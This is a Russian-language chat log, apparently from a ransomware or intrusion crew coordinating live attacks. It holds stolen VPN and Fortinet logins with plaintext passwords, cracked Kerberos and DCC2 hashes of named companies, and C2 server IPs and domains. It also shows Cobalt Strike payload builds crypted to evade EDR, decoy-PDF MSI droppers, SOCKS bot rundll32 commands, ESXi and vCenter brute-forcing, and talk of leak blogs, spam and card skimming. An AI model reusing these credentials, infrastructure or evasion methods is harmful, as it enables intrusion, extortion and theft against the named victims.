Доброе

+

https://support.ucsd.edu/its?id=kb_article_view&sysparm_article=KB0030248

ну в cisco смотрю 2аф даже есть

+

так они же вроде в приватной сети

+

> <@usernamegg:matrix.bestflowers247.online> esxi - 5 попыток но только с root

+

+

`abscolorado.com`

+

сервер нужен

+

`ardex.de`

`colormark-lc.com`

> <@usernamegg:matrix.bestflowers247.online> https://vpn01.homesc.com/global-protect/login.esp:tvarner:Mavs3232

```

```

```

> <@usernamegg:matrix.bestflowers247.online> https://vpn1.columbiapipe.com/vpn/index.html:cps\mmanikandan:sij#1@CP

бро привет, сколько выходит отправка 1млн писем по расходникам

$

Привет, я тут если что

по MSI еще добавлю, чтобы PDF открывался, чтобы не было тревоги раньше времени, типо документом ошиблись и так далее

привет, да

окей

X64 Stagless

+

ad_kekhash.txt

ok

`sec-bremen.de`

счас сделаю

да, но пока лежат сервера все еще

спроси еще раз плиз селлера

как у них там дела

MILL_kekhash.txt

`linksunlimited.com`

`$krb5tgs$23$*cognos_service_dev$axd.ardex.lan$MSSQLSvc/axd-cogtst-dev.axd.ardex.lan:1310@axd.ardex.lan*$836C47DC70449D3EF87C038CA6304845$45D9396916E3903B3EAE8BF69597F04D3D33A65FB28B3C9D736E816933D4C403DF44ACEB2F025B5426DBF28C1263A2F3AB530C997019FC2B16CDAD86AD1E9BB2B657B709C984A3E4569D293F4F65698A4870366737A2C7CA25102E4CBF13567405BD595754188A9EFF7881E9615AE6A1E7791FFD40EA880E6F58DC6FB39E36573C56283BD3E8C94401047CC66415C45E34400E23A888CF056F675379CE9FF3AA6B71B30E4664B62E42CEF49171F32989E9394AE48FE72A2591F1B4624ACB30628D41527B4011E9C25BADB96929F3439C55AAB59DAAE8C7CA2A69A65A327335E5D3F7C66D8751A31512CD304C84FA2578C36C82F77559A465C79C4AF13F9CCE37133C7755AAA927377A7F36166AABA616C5C7C8046980813316B48638FA46E54CFFA8AB1F90C9EA356A3B2428A794E365CB717D3569CB7D3030E72C7C86C15EC4F994DA06735837E9F9FE49EDF3F3F325BDE184FAB57C1FEE7B728FE8E3850C56EC4794D010FCA1EA2915F657765DB7678B7FA8E96A42E741DC575ED1EA2A86CBA4AB2AB97261366200961F0F4019B583627612BC6468C501CF3E271E9F6AC98E7DAE77D1FE4C0A31C4DB6E289EBB7E586CC9E18E9636E2E702E893E9C557D5E54B8F1EC62BC7377AC76DD465A0437410AB78E6550F64184517215BE8DF5D4D450AA5A393C4D0A5B885972BE730E1FAF8E5D832760E086C042A3EEFB1EBF1B0474347505A4DD494FF38728DA1AEEB0E330DEE6C78E5D11B8A966A5C7DDFD3E466C7AF8BE9524CD704D5A858CD076AA9A43EFCFA69930584F83CB6920B395C4B6D753DD28F65BF1EA64984D2A5DDDE759ACBBBABFD7960AD7324355EC738D0557B4CC1653B0BB6AB5548B7E3289D6A99A04175A9F6D428BFB1BB342C1849029C7D9286CA5265CE3427EF6034BA4DA766DFF223655A472718B88E78F945E5FD991F9409A6D6D2CB40A3C77E18D4F0D6256545E0B8C64D31C771053677D8C5254FD8431A2E9F7BE473F034FFE04D53CC5AE5318CEE817F0BD63463217936DC20FDD9E98E5D9E0F4685F7FBD2B6192BF2AFBA2F6F8C3AF5D3EC5152CD3974FB9889DF2F4E500ECCCB8B53EE178E281386E353AEAA2ABCD8B04F835DE2F3516A41471FF4B59664970F1F045EF49130E5AFF0F46954F399822D58B2370F064B0C58A92015E72560244E7F8E82280A7E8025B7EDAB24CC1B724E81489222A18280481B9D5C9F7B06062AB4BDB70CC393D3DC3D1A65072B69915D302F26A903D2ECEC58ABD4E67EE5EA88EE4C57F357D5D32DCA8F5F7017DB67F01062F7379D0C7AE7FBA07640B21C39364F8A4BBEA62624EE3250F304ADC1886DC996562921A043BC6C8D1FC4EC7801691F8F9264DD4F719F47D716DB44162DBC3CCD48B9A2DBADFCDFA95280C6FD9D0A5314FD0609891E86ECB41B600EBDFC90F704883EF39D00DED4B160A567FD21FC3512D55197E5424E2596F802BAF5DB147218285203207B6C7671684EFC52982F3BC625CB43903FE077396700822F1E873EAA4485918FF3170947ED3818452E2E7A2945D51888F483F16CD9244F28265778F3F70BE24C41FD0960F19C602635AA771FBA9FF0CD38C78D4908FC62C5D94451E879BF87826088AD8827FFB1ABC1D2BFC8618AC42D60ACC1472262CFB938C7346523A63533AEC09842D895DE3FAD399431EE4F69124B66E4ACA8ACC68D124417E3B356A722D9C09AB5C9738DDF778CF73F7DF50967CD98BF6B5911337E2A7BFA53C639C0F12CEF95DBD44143AE7F791FF008AFB7647FAA78E96D932D04FE981D8E9542180A4EBCD80DFE6364B4C0F8FD8AD8C5174FF9C047D9519501B9B54CA10ADFD85C5CB66B0971C32AC8D5133ECEC556A844A55C0FC61AA00FDC1060D61AA74DFED6674B53398B6139B95D97588E60A1D4A9C9301D159699E16F54DB485584015AA7C4250770B8B495921A744D4E985782E084856A7CC8612C8E16EEE5BE2C0CDE0CC4D536F6ACC6FE891E3FF6CFE5B3FD3F63157E3B9E8AD9F2D76BEFDEF572519FFB7D6157148CAA41E1464CAFE974C90CC9BD02479B203B9A2FE1C38BCECA08CAB6E90F8B0974CAACBBF2EF73F5C0ECC38D0E8AAA5EF400736F603C10685732A3A63D23E8C3C3A130F698166DE4C9624ABDF38359BFFE8F4EB8FDE74DAB10F71782FF6579BC28B326A283003C50B53BB034900CCC6C53FF939C725820AAD9AEBADCFEE38B8DB1979DEF8D684DAF9DAD64D2D65CC057F1B6DFC8C0163B3391B8CE6DBA47737E7F74AC7F1BA6ED2B9FD98C42CC114A9F574984143F411E48D456B4915C36DB137D3AB1DCDEB8A07DC588F406C629DB481A038BBDE19766A1DB571CDD6DC4BE1556C6C18C482BF01C937A59A6F71711B7CF7D718BB0818A9110B7F991BD49625220B8DAF5DA67B6343AC3E9767EEC4612DDDED293FE343D8286F3C0079310AAC899613F8F0B1C6104140B6ED24CA75366AB44DD299622AB6B841214AB7E3609DF5A66A47154D82D5DA4F28F6A168593F963975C4B521191029F14AEA10F3DA5A15AE1742B32CED28307B3C482505500B4F5518203CFC735544D08BB4D010496C6EF57203B0B41EA22105517B9F3DEE12DF0138D7E9D52DF7931649F5F1B5604D328BEDF1884B3456A1C5EC3456412C47D4E8B1A20F9975CA248AA0103BC6E6F5C345CE5EBFF6DC84FEBD26A046A60ABD432D44F4BC45D90CD863426EC47920C57E074A6B6DD17BE6ABB81094C86276E59C3D8A3ECACBBE5A23CC19DDB5BBFCC18A9453F3456D348ACF0A02666B5ACBA32FF3136F48B39123A9A9C3A0048B08D6F78DE5AD978D25A2644E432818E17D5802B1FC7442A29C0CA807FD114ABBF0D9BB2A8EF9E174F8B865CEDE0C02444ABDA9401D5BC44C515B7CFE2F74FDEA3A33CF99C0091CBCDA763CBB6F4BB626D69ECC407916B160179135F299EA7B71B234F1701176E92BB3B783E1EDF19CB15906BA29E4DF0F15E44BD923D76C5F903F19D22DF746362FC7EACD590F4A8E1310964D271B1A26701C149F8004B50A0F42144FB4F83283D5AEF1FB2681384AC34B20194B9`

а смтп по чем выходит на обьеме?

2 бакса за шт?

> <@usernamegg:matrix.bestflowers247.online> sent a file.

кидал еще давно где-то

+

+

окей, сейчас

нет

скомпилю тогда

я в центром занимаюсь

Доброго дня. Занимаюсь

yy: Можно переписать процессес на питон?

гок тоже

на сетке питон не запустишь, какой смысл в этом?

у нас сетки с доступов - позвать в кобу не представляетсмя возможным. поднятие носка только возможно

и соответвенно крутка влинуксе

я не говорю о том что гок и процессес нельзя на рдп дропнуть

НО лучше если будет на питоне

это понятно, а proxychains dotnet или типа того?

я сейчас с днс задачей закончу на сегодня, у меня уже почти запрос получился и посмотрю че по лдапу на питоне, если есть готовое решение, то ок

> <@usernameyy:matrix.bestflowers247.online> это понятно, а proxychains dotnet или типа того?

счас, секунду

кое-что забыл

да возможно всё, но целесообразно ли))

> <@usernameyy:matrix.bestflowers247.online> я сейчас с днс задачей закончу на сегодня, у меня уже почти запрос получился и посмотрю че по лдапу на питоне, если есть готовое решение, то ок

нам нужна вариативность

ок

+

а в последнем процессе есть возможность лдап?

он из лдапа получает список компов, сами процессы работают с помощью Remote Registry service

а от esxi там же юзер будет root ?

для него пассы перебирать?

+

делаю пока vcenter

`execute-assembly processes.exe -ldaplogin uanet.edu\shuler3 -ldappass Yellow33 -controller 10.250.21.8 -threads 5 -pingtimeout 30 -proctimeout 60 -fromfile C:\Users\Public\list.txt -throttle 5 -outresult C:\Users\Public\shuler3_users_outfile.xls`

если последний что ты скинул запущу

а, это да, тоже есть

ну вцентер же админ ставит папссы

udrls.zip

Распаковать и загрузить arsenal_kit.cna и mice.cna

* Распаковать и загрузить arsenal\_kit.cna + mice.cna

3 мин сделаю +

-

sleepmask не надо грузить

он и так грузится через arsenal_kit.cna

нет

просто загрузи arsenal_kit.cna

и mice.cna

и все

> <@cob_crypt_ward:matrix.bestflowers247.online> sent a file.

помимо arsenal_kit.cna

просто загрузи его как .cna

в кобальте

не я если что

`5d33aede6aedee8bc5525747a8c77eb5`

> <@usernamegg:matrix.bestflowers247.online> sent a file.

```

надо еще arsenal_kit.cna

одновременно с mice.cna

`f1a02eefebd5dc54f646d82c1cba8501`

> <@usernamett:matrix.bestflowers247.online> ```

опять тот же вес

можешь показать консоль?

`a016d3f94717161276773dcdae8b53e7`

++

`4668b110e5600250d5c7300bef0b04da`

`8ebf9c52fffeb8ea3365c9850f7fee09`

а, все, понял

мой косяк там

elusiveMice.x64.o

`55abbfe9aecd8e605ea4844ec75ba2bb`

замени пожалуйста в папке со скриптами

и пересоздай билд

`1dbd99e89f96650cf8d08a3de733e0d7`

`b8bc94b69b5e1c3b7055e5bd064d4219`

`abdb9fb057a22530f65ca07235a7dc8b`

8ebf9c52fffeb8ea3365c9850f7fee09:R3nt4w2k

4668b110e5600250d5c7300bef0b04da:He4dstyle1

`7cc91d4dc57f54f62a6b54324f0172e7`

```

* ```

`75d1af4989498b16fbe8516d9f8888d2`

8846f7eaee8fb117ad06bdd830b7586c:password

abdb9fb057a22530f65ca07235a7dc8b:Timo1212#

$DCC2$10240#administrator#7f14f35cc287d5bb76e5b43822f143e3:zawinal

+

отправляйте в блоках

пожалуйста

vcenter не так и много что-то вышло

выходит пока 644

* '$DCC2$10240#administrator#7f14f35cc287d5bb76e5b43822f143e3:zawinal'

мало их в публичном доступе

* $DCC2$10240#administrator#7f14f35cc287d5bb76e5b43822f143e3:zawinal

Выделить текст > CTRL + E

> <@usernamegg:matrix.bestflowers247.online> ```

sent_10_dns.exe

только под сентиль

потому что там такие детекты

https://scanner.to/result_EDR/cNcPCUqVyFrv

у себя проверил, все ок

+

лучше не заменять, потому что там дохера инфры на них висит

* `$DCC2$10240#administrator#7f14f35cc287d5bb76e5b43822f143e3:zawinal`

не могу уже ее перекинуть на другую

пусть просто включают их побыстрее и все

я еще пепепроверю

но уже что мало вышло их

sent_12_443.exe

https://69.65.29.243/ui/login

и такие есть

https://64.119.60.11/ui/login

++++

окей

щас сделаю

поставлю эти

та на данные все равно) главное чтобы IP сохранились, ибо на них нацелено много серваков

ну нод имею ввиду

но на эти щас новые накину

a016d3f94717161276773dcdae8b53e7:9iJcX-3!

esxi есть у вас с валидным доступом?

это мыло и пасс по нужным доменам?

```

> <@usernamezz:matrix.bestflowers247.online> ```

++

если что прокладки выставил, но они временые ибо они с zomro, а они на абузы вроде как очень даже реагируют

по идее их не должно спалить, ну именно эти IP, но надеюсь что они не надолго

поставлю инфру скоро, сделаю билд и отправлю его криптерам

и сделаю боевую версию msi

---

и попробуем ее на сетке запустить

> <@usernamegg:matrix.bestflowers247.online> я интересуюсь готовностью софта

DUTYFREEAMERICAS сделай плиз страничку для блога! я а то по ним все нашел осталось загрузить.

1.7z

Готово rundll32 file.dll, ExpandPath

GLuk43KufOaP5eb0sIEgu1S8YWzjEGlt3f7EC8ziePpl6KQXK

cnhjrf

Строка ехе и длл

```

esxi есть публичный к которому у вас есть доступ?

мне для тестов нужно

а то я вот запустил 500 потоков

тишина

ничего не нашло пока

esxi тоже не дает авторизацию в один коннект

* esxi тоже не дает несколько авторизаций в один коннект

отойду на минут 40, приду поставлю ноды и сделаю билды

> <@usernameww:matrix.bestflowers247.online> sent a file.

2.7z

++

я запустил

отлучусь на пару часов

пока чет ничего не нашлось по esxi и vcenter

давайте поднимем

чтобы точно проверить скрипт

Братец, я тут, нужна твоя помощь, мне чутка по деньгам не хватает, маме щас надо операцию делать, руку полностью сломала, а страховки нет, это дорого кароче и мне не хватает пиздец

Сможешь пожалуйста выручить?

уже заранее подготовил всё

руку

та упала как то

хуй его знает, не понял что случилось до конца

типо надо операцию делать врачи сказали, вставлять походу спици, точно не могу сказать, но это не дешево

просто когда с моего бота сетка какая то заплатит, вычтешь это из выплаты

---

```

нагрузки?

та этот msi должен нормально работать по идее

> <@usernamegg:matrix.bestflowers247.online> сколько тебе нужно денег ?

bc1q707ct30705x0d79pqhk2cctce3us2dmyr7epek

вот бит если сможешь пожалуйста

```

Ну это я решу, найду что нибудь, что будет приносить трафик норм

privet vsem

главное чтобы чисто было и мы фильтра могли обходить

```

щас просто буду делать разные и будем тестировать просто в боевых и все, думаю за неделю найдем уже

спасибо большое

> <@usernamegg:matrix.bestflowers247.online> надо что бы они могли на сетках запускать э то все

главное чтобы сам фильтр обходили по сути

это школа

школяры

est' takoy target domen ne probil

чтобы они скачивали и могли да запустить

> <@usernamenn:matrix.bestflowers247.online> школяры

> <@cameron777:matrix.org> est' takoy target domen ne probil

voobshem ne ash target ?

* voobshem ne vash target ?

Tanium tam

> <@usernamezz:matrix.bestflowers247.online> sent a file.

++

ladno ostavim etot drugoy skinu

ok

OZ_CORP_kekhash.txt

щас поставлю новую инфру, сделаю билды и msi и протестим все, +- 2-3 часа

ну я выдам билды для криптеров через 1 час

а дальше чисто от них буду ждать крипта и все

в целом по msi у меня все готово

`admjimi:$DCC2$10240#admjimi#f289c7c92f7dc48290bed1b8b0f9f829`

`admgiorgos:$DCC2$10240#admgiorgos#979d1374fc9ef140b473e40b1d26db2f`

`ASFSRV02$::EDWARDS:C3D369FD73E3BC1109C263038F04BF11CD682D4922014131:C3D369FD73E3BC1109C263038F04BF11CD682D4922014131:a797aa330844c7dd`

* ```

> <@usernamess:matrix.bestflowers247.online> ```

> <@usernamenn:matrix.bestflowers247.online> ```

Прочитайте за Responter, NTLMv1 to NTLM

* Прочитайте за Responder, NTLMv1 to NTLM

В будущем возможно у нас такие хеши будут на постоянке!

без декрипта цена ниже же?

> <@usernamenn:matrix.bestflowers247.online> Прочитайте за Responder, NTLMv1 to NTLM

да, мне от тебя нужно понимание сколько

https://hashcat.net/forum/thread-9009.html

без декрипта

поэтому я сказал - we will review

https://github.com/evilmog/ntlmv1-multi

> <@usernamenn:matrix.bestflowers247.online> ```

ok

> <@usernameboy:matrix.bestflowers247.online> C3D369FD73E3BC11:a797aa330844c7dd

+

Нет , сконвертил под хешкет

из этого всего дела должен получится NTLM хеш

валидный

Можем разделить на 3 так будет быстрее

почему не смог то?

там смарт из-за того что серта нет вылез и все

примерно по 33% придется искать

щас я выдам новый NTLMv1

можно просто подписать файл и норм все будет

у меня просто серта же нет

можно подписывать сертом тем же, что и бурито подписывает крипт

```

Phishing emails were definitely sent using contents of real emails that were saved on our system.

слушай, а о чём это он

smlaws

https://t.me/RedTeambro/293

неадекваты какие-то

и денег нет у них(

esxi и vcenter что-то ни одного не сбрутило

> <@username777:matrix.bestflowers247.online> Скорость брута -m 14000 такая же как и -m 5500 . Зачем переводить? Ничего мне не понятно , но очень интересно

Честно сказать пока что в первый раз такая хуйня с NTLMv1, пока сами еще разбираемся, но без ваших мощностей не разобраться.

Я искал уже много раз такое

да, формати собираю

* да, форти собираю

> <@usernamegg:matrix.bestflowers247.online> почты которые собраю по доменам помогают ?

ну вроде есть там какой-то валид

na jpchashe banke

copy past ne robotaet

mogu dat' vps

FORTI_VALID_FROM_ALL_FILES_REVENUE.txt

вот так буду сбрасывать форти

которые с файлом мыло и пассо

все в одном файле будет с ревенью

esxi же поднимают нам?

я хочу потестировать брут на нем

а то может там вообще блокировка срабатывает от брута какая

rub.txt

$krb5tgs$23$*Administrator$cps.local$MSSQLSvc/CHDP-SQL01.cps.local:1433@cps.local*$70eb9643f...9a4b5:cpspipe

`8cpu 16g ram, поддержка VT-X (Виртуализация должна быть включена)`

> <@usernameboy:matrix.bestflowers247.online> $krb5tgs$23$*Administrator$cps.local$MSSQLSvc/CHDP-SQL01.cps.local:1433@cps.local*$70eb9643f...9a4b5:cpspipe

Привет

надо договорится на счет цены за этот тип хеша netntlm >ntlm

я думаю 300

там нужен полный брут

по 100 на 3

> <@usernamejj:matrix.bestflowers247.online> sent a file.

Да я знаю

уже не первый раз такое ищу

Да, 100%

найденых

только нужно время

Да тут по разному но 6 часов минимум

4090

Сек я хантеру помогу поставить на брут )

он не знает как, помогаю

`numotion.com`

++

Всем привет!

dropper_GG23_TH_f0adda360d2b4ccda11468e026526576_LSg0Fp.zip

image.png

+

yy: можешь выдать x86 носок?

только exe и я его не тестировал

burrito: если будешь делать, не надо в конце вечный слип делать, после моего сразу выход

давай

я на Windows Xp буду запускать

yy:

что давать то? айпи мне нужен и порт

185.219.221.136 443

`compintelligence.com`

185.219.221.136 443 x86.exe

Да ищем

Да

офнусь пока. буду в тг чуть что

```

$DCC2$10240#toabradh#206dee1788eb863c1fb9da0c0e75f8f6:Poland15

++

Ок

$DCC2$10240#toaellinast#c6c7fb1865b5bd5cda621453420c7052:Monday@2020

* `$DCC2$10240#toaellinast#c6c7fb1865b5bd5cda621453420c7052:Monday@2020`

* ```

++

`$DCC2$10240#toabernardog#fac2ed8d6d4b1a3d3028568c2da4de87:Kashita01!`

++

это понятно

они пишут что до сих пор получают письма

от нас

> <@usernamegg:matrix.bestflowers247.online> крипт хуевый

на этих двух неделях сделаю x86, будет меньше детектов

может и сентиль будет работать без UDRL

> <@n3auxaxl:matrix.collectionofmanager.space> dropper_GG23_TH_f0adda360d2b4ccda11468e026526576_LSg0Fp.zip

drps.7z

++++, щас проверю

https://scanner.to/result_EDR/si52bdb9TVGx

если что msi

а у другого кого-то под сент делали?

https://avcheck.net/id/Llko34mbUGOz

если да, то какая архитектура была?

и выжило ли?

ну это без серта и без MOTW оно проверяет, но серт решает MOTW

щас от бурито проверю длку и сделаю боевую версию

отпишу скоро

понял

> <@n3auxaxl:matrix.collectionofmanager.space> sent a file.

3.7z

+++

GLuk43KufOaP5eb0sIEgu1S8YWzjEGlt3f7EC8ziePpl6KQXK

строка

по видосам все посмотрел,Ю все окей

ну там 1 спалил ккомодо, ну он все палит

тупо в контейнер пускает и все

+++

щас проверю

у всех все чисто и стучит

благодарю.

* благодарю

благодарствую и вам)

Хорошо

+

да

строки ASCII идут?

++++

запустил генерацию 25 файлов, к кому можно за подписью обратиться, бурито сможет подписать файл?

вы тем же сервером пользуетесь, что я вам настроил еще тогда?

у меня все гготово, 25 файлов готовы, чисто подписать надо и все

476788b1a5da9ea8bad2de16328e77d7

> <@usernamenn:matrix.bestflowers247.online> ```

> <@usernamenn:matrix.bestflowers247.online> 476788b1a5da9ea8bad2de16328e77d7

Ok

> <@usernamenn:matrix.bestflowers247.online> в работе?

22ed95a327aee2f7d488498f40a4100c

b2acffc94631abb60d7272191d1a5266

476788b1a5da9ea8bad2de16328e77d7:champion

```

$DCC2$10240#stapfdladm#d8b5d9941af3af98dd75dd57372d0bc5:1234qwer!@

> <@username777:matrix.bestflowers247.online> $DCC2$10240#stapfdladm#d8b5d9941af3af98dd75dd57372d0bc5:1234qwer!@

* `$DCC2$10240#stapfdladm#d8b5d9941af3af98dd75dd57372d0bc5:1234qwer!@`

понимают по контексту

вы же спамите используя предыдущий контекст

hvd.host - блог сделал. ничего лучше не придумал, чем сделать так. никто не знает что это за сетка и сайт не известен. известны комании которые хостятся на этом хостинге, их указал. дата на какие то из них есть много на какие то меньше. в блог общие доки с компаний залил...

> <@usernamess:matrix.bestflowers247.online> yy: Можно переписать процессес на питон?

на linux мы можем софт этот запустить?

`dotnet processes.exe -ldaplogin uanet.edu\shuler3 -ldappass Yellow33 -controller 10.250.21.8 -threads 5 -pingtimeout 30 -proctimeout 60 -fromfile /root/1.txt -throttle 5 -outresult /root/2.txt`

или как

да, если я ребилд сделаю

а нахуя ребилд?

ну сделай ребилд под linux

> <@usernamenn:matrix.bestflowers247.online> а нахуя ребилд?

и скажи как твой ебаный dotnet туда поставить, пока временно так поюзаем потому нужны будут исходники, нам переделают под python софт

https://learn.microsoft.com/en-us/dotnet/core/install/linux

```

```

https://scanner.to/result_EDR/6qhG6Grd3jNT

вот с моим криптованым ботом

сейчас на обычных АВ проверю

ребилд для линукса

net8.0.zip

https://scanner.to/result/PHvAwJnJz7Dg

с обычными АВ нормально все вроде как

надо еще серт и норм будет

goc-linux.zip

```

этот хеш с ключем --disable-ess

тот что был был только --lm

* тот что был ранее, был только --lm

`www.pdq-airspares.co.uk`

```

от форти ?

ну значит только одни

валидные были доступы

1 M pdq-airspares.co.uk https://31.121.83.149:10443 jack Flight17

но из несколько же

1 M pdq-airspares.co.uk https://31.121.83.146:10443 jack Flight17

на разных серверах

два сервера и два юзера

наверное админы пришли

> <@usernamezz:matrix.bestflowers247.online> ```

esxi вообще ни одной валидной не нашлось... странно

может там и пассы сложные стоят

> <@usernamemm:matrix.bestflowers247.online> sent a file.

$krb5tgs$23$*HowesO$efcoforms.com$MSSQL,,,,d92e6951:DistrictServer1

так я его дал

в помощ

?? Зачем ставить

пример какие пассы могут быть

вроде всегда так отправляли

я понял что проверитьнадо

аааа

сорян

не объяснил что такое)

Ладно. До завтра. Проверю еще esxi, как поднимут

* Ладно. До завтра. Проверю еще esxi, как поднимут. Может что-то не так с проверкой на валид

+

ок

жду сервер

да, есть

+

порт какой сделать ?

8080 ?

+

++

`116.202.235.163`

http://45.148.244.177/

0229_socks32.exe

0229_socks32.dll

0229socks64.dll

проверьте может сразу?

ну да

только блин, я сам не так сделал

ща переделаю

забыл про домен

к айпишнику привязал

ща тогда сделаю на другом, только уже с доменом

подключился

+

сделаю

два будет сокс бота

+

Ok

http://allunicblog.com:80/103289392825c9128fa7cfb76b18ad53/

allunicblog_socks32.exe

allunicblog_socks32.dll

allunicblog_socks64.dll

socks32.dll socks64.dll - dll client 32/64 bit (start function rundll)

rundll socks64.dll,rundll

вот так наверное

rundll32 socks64.dll,rundll

rundll наверное точка входа

socks32.dll socks64.dll - dll client 32/64 bit (start function rundll) вот так написано в инструкции

вроде все. офаюсь. до завтра

Минут 45

`webmail.numotion.com`

cob_11DNS_x64.bin

> <@usernamegg:matrix.bestflowers247.online> **сокс бот USA с доменом**

scks.7z

надо проверить только

> <@usernamenn:matrix.bestflowers247.online> cob_11DNS_x64.bin

cob_11DNS_x64.zip

нет

нет

нет

не смотрел ?)

сейчас?

понял

тогда хз что с ним

у кого ты кобу делаешь ?

чтобы чистили ее

ну ты просто криптуешь ?

или чистишь ее

я еще не уходил от сюда ставил на выкачку. ебался с интернетом. поставил на выкачку и перенос даты на другой фтп

ща сетку разбираю на которой опять ни че нет походу

дату найти не могу иду по всем тачкам

ну раньше был

щас уже нету его

он вот чистил прям

думал доразобрать и спать что то уже я а ахуе если честно

он ленивый

ща я подготовлю для блога файлы пока и завтра с утра их оформлю

это бывший кодер кортеса

который ушел от него

кто с аквой работал раньше

из его комманды

ну это старая тусовка была

карбанаки тоже там были

и он ленивый ппц просто

заебались мы с ним

не хочет работать

ари знал его

это он привел его к кортесу

да, мне кортес сказал (

ну да

ну ты ролики ральфа смотрел ?

там есть видео про чистку

вот, любой кодер криптор

справится на ура

+ профили пилить норм

там лоадер на С

нагрузка сама

да и профили тоже

щас

> <@usernamegg:matrix.bestflowers247.online> jj - сетку делаешь ?

> <@usernamegg:matrix.bestflowers247.online> jj - сетку делаешь ?

Red Team Ops with Cobalt Strike (3 of 9)_ C2_edit.mp4

Red Team Ops with Cobalt Strike (4 of 9)_ Weaponization_edit.mp4

в общем там есть, прям один урок, где он на Си правит код

стейджера

и да, кодер в последний раз делал стейджер в мете

причем на ГО

да это пиздец.. на 15 мин хватает.. то один впн не подключается то другой. то мегафон отлетает.. какая то дичь творится. с билайна вообще не могу подключиться 10 мин поработало после того как активировал симку.

он подходит к кобе

сейчас отлетит попробую ее а то уже ни в какие ворота не лезет.. с десяти часов какая то дичь.. уже сто раз всё бы доделал за это время.. ни че сделать не могу

ну вот мы для закрепов используем ГО бота

довольно простой

сокс шелл

и все

криптуется на ура

писали его месяц гдето

неа

долго живут

крепимся как служба

и как таск

обсужу с партнером

думаю да

что нибудь придумаем

> <@usernamegg:matrix.bestflowers247.online> ______

хорошо

нет

он сам по себе сейчам

сейчас

да, но он хочет сразу много

когда то , рубил лямы

а на зп теперь ноет

ему кортес платил кажется 20к

он ему спамилку написал всю

и потом сдернул

выгорел видимо

но он и ломщик веб очень хороший

делали с ним СС сниф

ну вот мы выплату где получили 2.5М

там ему давали доступ

чтобы снимать с них СС

он просто проигнорил

что мешало то

доступу уже 3 года как

ломали их, сидели там долго

и потом решили локнуть и все

я понимаю тебя

ок. бб

это OWA

а сам доступ в сеть где?

ща

че то пока не пингуется

надо было IP с юсой

позвали в кобу ждем

там 2 траста

по 3 дц

3 админа

с виду не эта сеть

возможно они могут входить в основу по RDP

где то у кого то хз

image.png

GG: .

image.png

Там кто то был

все короче сетку поставил качать, правда ниче прям свежего не нашел. выписал по FLS откуда доки грузить для блога завтра сделаю. 3 сетки у нас на завтра! если все будет гудд то 3! в листе коменты подписал о сетках в прекрипте

> <@usernamegg:matrix.bestflowers247.online> sent an image.

X 2024-03-01 в 01.54.29.jpg

ВСЕМ ЗАПИСАТЬ НА ЛОБ

https://check-host.net/

X 2024-03-01 в 01.49.52.jpg

IMP_kekhash.txt

`64.176.219.106:33703 LINKSUNLIMITED`

```

`64.176.219.106:35891 CPS`

https://xss.is/threads/109095/